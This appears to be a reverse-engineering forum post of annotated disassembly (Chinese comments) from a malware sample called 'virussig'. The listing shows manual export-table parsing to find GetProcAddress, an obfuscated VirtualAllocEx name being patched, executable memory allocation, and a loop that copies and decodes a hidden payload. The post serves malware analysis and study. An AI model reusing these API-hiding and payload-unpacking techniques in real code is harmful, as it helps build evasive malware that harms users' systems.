00401550 /$ 55 PUSH EBP
00401551 |. 8BEC MOV EBP,ESP
00401553 |. 83EC 34 SUB ESP,34
00401556 |. C745 F4 9A501>MOV DWORD PTR SS:[EBP-C],210509A
0040155D |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
00401560 |. 8945 D8 MOV DWORD PTR SS:[EBP-28],EAX
00401563 |. 8B4D D8 MOV ECX,DWORD PTR SS:[EBP-28]
00401566 |. 8B55 D8 MOV EDX,DWORD PTR SS:[EBP-28]
00401569 |. 0351 3C ADD EDX,DWORD PTR DS:[ECX+3C]
0040156C |. 8955 DC MOV DWORD PTR SS:[EBP-24],EDX
0040156F |. 8B45 DC MOV EAX,DWORD PTR SS:[EBP-24]
00401572 |. 8B48 78 MOV ECX,DWORD PTR DS:[EAX+78]
00401575 |. 034D 08 ADD ECX,DWORD PTR SS:[EBP+8]
00401578 |. 894D F8 MOV DWORD PTR SS:[EBP-8],ECX
0040157B |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
0040157E |. 8B42 24 MOV EAX,DWORD PTR DS:[EDX+24]
00401581 |. 0345 08 ADD EAX,DWORD PTR SS:[EBP+8]
00401584 |. 8945 E0 MOV DWORD PTR SS:[EBP-20],EAX
00401587 |. 8B4D F8 MOV ECX,DWORD PTR SS:[EBP-8]
0040158A |. 8B51 20 MOV EDX,DWORD PTR DS:[ECX+20]
0040158D |. 0355 08 ADD EDX,DWORD PTR SS:[EBP+8]
00401590 |. 8955 E8 MOV DWORD PTR SS:[EBP-18],EDX
00401593 |. 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]
00401596 |. 8B48 1C MOV ECX,DWORD PTR DS:[EAX+1C]
00401599 |. 034D 08 ADD ECX,DWORD PTR SS:[EBP+8]
0040159C |. 894D FC MOV DWORD PTR SS:[EBP-4],ECX
0040159F |. C745 EC 00000>MOV DWORD PTR SS:[EBP-14],0
004015A6 |. EB 09 JMP SHORT virussig.004015B1
.text:004015A8 loc_4015A8: ; CODE XREF: sub_401550+E4j
.text:004015A8 mov edx, [ebp+IndexOfName]
.text:004015AB add edx, 1 ; 计数器加1
.text:004015AE mov [ebp+IndexOfName], edx
.text:004015B1
.text:004015B1 loc_4015B1: ; CODE XREF: sub_401550+56j
.text:004015B1 mov eax, [ebp+kernel_DataDirectory]
.text:004015B4 mov ecx, [ebp+IndexOfName]
.text:004015B7 cmp ecx, [eax+18h] ; kernel_NumberOfNames
.text:004015BA jnb short loc_401639
.text:004015BC mov [ebp+var_2C], 627D1Bh
.text:004015C3 mov edx, [ebp+kernel_AddressOfNames]
.text:004015C6 mov eax, [edx]
.text:004015C8 add eax, [ebp+arg_0]
.text:004015CB mov [ebp+APInameStr], eax
.text:004015CE mov ecx, [ebp+APInameStr]
.text:004015D1 movzx edx, byte ptr [ecx]
.text:004015D4 cmp edx, 47h ; G
.text:004015D7 jnz short loc_40162B
.text:004015D9 mov eax, [ebp+APInameStr]
.text:004015DC movzx ecx, byte ptr [eax+1]
.text:004015E0 cmp ecx, 65h ; e
.text:004015E3 jnz short loc_40162B
.text:004015E5 mov edx, [ebp+APInameStr]
.text:004015E8 movzx eax, byte ptr [edx+2]
.text:004015EC cmp eax, 74h ; t
.text:004015EF jnz short loc_40162B
.text:004015F1 mov ecx, [ebp+APInameStr]
.text:004015F4 movzx edx, byte ptr [ecx+3]
.text:004015F8 cmp edx, 50h ; P
.text:004015FB jnz short loc_40162B
.text:004015FD mov eax, [ebp+APInameStr]
.text:00401600 movzx ecx, byte ptr [eax+8]
.text:00401604 cmp ecx, 64h ; d
.text:00401607 jnz short loc_40162B
.text:00401609 mov [ebp+var_34], 8B28h
.text:00401610 mov edx, [ebp+IndexOfName]
.text:00401613 mov eax, [ebp+kernel_AddressOfNameOrdinals]
.text:00401616 movzx ecx, word ptr [eax+edx*2]
.text:0040161A mov [ebp+IndexOfAddr], ecx
.text:0040161D mov edx, [ebp+IndexOfAddr]
.text:00401620 mov eax, [ebp+kernel_AddressOfFunctions]
.text:00401623 mov eax, [eax+edx*4]
.text:00401626 add eax, [ebp+arg_0]
.text:00401629 jmp short loc_40163B
.text:0040162B ; ---------------------------------------------------------------------------
.text:0040162B
.text:0040162B loc_40162B: ; CODE XREF: sub_401550+87j
.text:0040162B ; sub_401550+93j ...
.text:0040162B mov ecx, [ebp+kernel_AddressOfNames]
.text:0040162E add ecx, 4
.text:00401631 mov [ebp+kernel_AddressOfNames], ecx
.text:00401634 jmp loc_4015A8
.text:00401639 ; ---------------------------------------------------------------------------
.text:00401639
.text:00401639 loc_401639: ; CODE XREF: sub_401550+6Aj
.text:00401639 xor eax, eax
.text:0040163B
.text:0040163B loc_40163B: ; CODE XREF: sub_401550+D9j
.text:0040163B mov esp, ebp
.text:0040163D pop ebp
.text:0040163E retn ; 返回GetProcAddress的地址
.text:004015D1 movzx edx, byte ptr [ecx]
.text:004015D4 cmp edx, 47h ; G
.text:004015D7 jnz short loc_40162B
.text:004015D9 mov eax, [ebp+APInameStr]
.text:004015DC movzx ecx, byte ptr [eax+1]
.text:004015E0 cmp ecx, 65h ; e
.text:004015E3 jnz short loc_40162B
.text:004015E5 mov edx, [ebp+APInameStr]
.text:004015E8 movzx eax, byte ptr [edx+2]
.text:004015EC cmp eax, 74h ; t
.text:004015EF jnz short loc_40162B
.text:004015F1 mov ecx, [ebp+APInameStr]
.text:004015F4 movzx edx, byte ptr [ecx+3]
.text:004015F8 cmp edx, 50h ; P
.text:004015FB jnz short loc_40162B
.text:004015FD mov eax, [ebp+APInameStr]
.text:00401600 movzx ecx, byte ptr [eax+8]
.text:00401604 cmp ecx, 64h ; d
mov edx, [ebp+IndexOfName]
mov eax, [ebp+kernel_AddressOfNameOrdinals]
movzx ecx, word ptr [eax+edx*2]
mov [ebp+IndexOfAddr], ecx
mov edx, [ebp+IndexOfAddr]
mov eax, [ebp+kernel_AddressOfFunctions]
mov eax, [eax+edx*4]
add eax, [ebp+arg_0]
loc_401706:
mov eax, [ebp+VTrtualAllocTx]
mov byte ptr [eax+1], 69h ; i
mov ecx, [ebp+VTrtualAllocTx]
mov byte ptr [ecx+0Ch], 45h ; E
mov edx, [ebp+var_214] ; 4
add edx, offset dword_403000
mov [ebp+var_280], edx
mov eax, [ebp+var_280]
push eax
call sub_401390 ; 返回传入地址的前一个DWORD地址的值
add esp, 4
mov [ebp+Size], eax
mov ecx, [ebp+VTrtualAllocTx]
push ecx
mov edx, [ebp+handle_kernel32]
push edx
call [ebp+GetProcAddress] ; 获取VirtualAllocEx的地址
mov VirtualAllocEx, eax
mov eax, [ebp+Size]
push eax
call sub_4013A0 ; 声请指定大小的内存空间
add esp, 4
mov [ebp+Dst], eax
mov ecx, [ebp+Size]
push ecx ; Size
push 0 ; Val
mov edx, [ebp+Dst]
push edx ; Dst
call memset ; 将刚刚申请的内存空间初始化为0
add esp, 0Ch
mov eax, [ebp+Size]
mov [ebp+FreeVirtualSize], eax
push ebp
mov ebp, esp
push 40h ; PAGE_EXECUTE_READWRITE
push 3000h ; MEM_COMMIT | MEM_RESERVE
mov eax, [ebp+arg_0]
push eax
push 0
push 0FFFFFFFFh
call VirtualAllocEx ;之前得到的VirtualAllocEx的地址
pop ebp
retn
text:00401793 mov ecx, [ebp+BeCopyedDataNum] ; 从0x403004处开始,每0x5A数据拷贝到申请的内存中(每次间隔0xA大小的数据)
.text:00401796 cmp ecx, [ebp+Size] ;初始为0
.text:0040179C jnb short loc_40181B ; 判断是否还有可用的空闲内存
.text:0040179E mov edx, [ebp+FreeVirtualSize]
.text:004017A4 push edx
.text:004017A5 mov eax, [ebp+UsedVirtualSize]
.text:004017AB push eax
.text:004017AC call sub_4013C0 ; 判断还能拷贝的数据大小
.text:004017B1 add esp, 8
.text:004017B4 mov [ebp+NumberOfCopyData], eax
.text:004017BA mov ecx, [ebp+NumberOfCopyData]
.text:004017C0 push ecx
.text:004017C1 mov edx, [ebp+var_280] ;var_280为0x403004
.text:004017C7 add edx, [ebp+IndexSourceStr]
.text:004017CD push edx
.text:004017CE mov eax, [ebp+Dst]
.text:004017D4 add eax, [ebp+BeCopyedDataNum]
.text:004017D7 push eax
.text:004017D8 call sub_4013F0 ; 从一个内存区域拷贝指定数据至另一个内存块
.text:004017DD add esp, 0Ch
.text:004017E0 mov ecx, [ebp+var_220] ; 源字符串的间隔(大小为10)
.text:004017E6 add ecx, [ebp+UsedVirtualSize]
.text:004017EC add ecx, [ebp+IndexSourceStr]
.text:004017F2 mov [ebp+IndexSourceStr], ecx
.text:004017F8 mov edx, [ebp+BeCopyedDataNum]
.text:004017FB add edx, [ebp+UsedVirtualSize]
.text:00401801 mov [ebp+BeCopyedDataNum], edx
.text:00401804 mov eax, [ebp+FreeVirtualSize]
.text:0040180A sub eax, [ebp+NumberOfCopyData] ; 减去已经填充的数据大小
.text:00401810 mov [ebp+FreeVirtualSize], eax
.text:00401816 jmp loc_401793 ; 从0x403004处开始,每0x5A数据拷贝到申请的内存中(每次间隔0xA大小的数据)
.text:0040141E mov edx, [ebp+arg_4]
.text:00401421 add edx, [ebp+var_8]
.text:00401424 movzx eax, byte ptr [edx]
.text:00401427 mov [ebp+var_10], eax
.text:0040142A mov [ebp+var_C], 96E8FDh
.text:00401431 mov ecx, [ebp+var_10]
.text:00401434 add ecx, [ebp+var_C]
.text:00401437 mov edx, [ebp+arg_0]
.text:0040143A add edx, [ebp+var_8]
.text:0040143D mov [edx], cl
.text:0040143F mov eax, [ebp+arg_0]
.text:00401442 add eax, [ebp+var_8]
.text:00401445 movzx ecx, byte ptr [eax]
.text:00401448 sub ecx, 961788h
.text:0040144E mov edx, [ebp+arg_0]
.text:00401451 add edx, [ebp+var_8]
.text:00401454 mov [edx], cl
.text:00401456 mov eax, [ebp+arg_0]
.text:00401459 add eax, [ebp+var_8]
.text:0040145C mov cl, [eax]
.text:0040145E sub cl, 1
.text:00401461 mov edx, [ebp+arg_0]
.text:00401464 add edx, [ebp+var_8]
.text:00401467 mov [edx], cl
.text:00401469 mov eax, [ebp+arg_0]
.text:0040146C add eax, [ebp+var_8]
.text:0040146F movzx ecx, byte ptr [eax]
.text:00401472 sub ecx, 0D174h
.text:00401478 mov edx, [ebp+arg_0]
.text:0040147B add edx, [ebp+var_8]
.text:0040147E mov [edx], cl
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!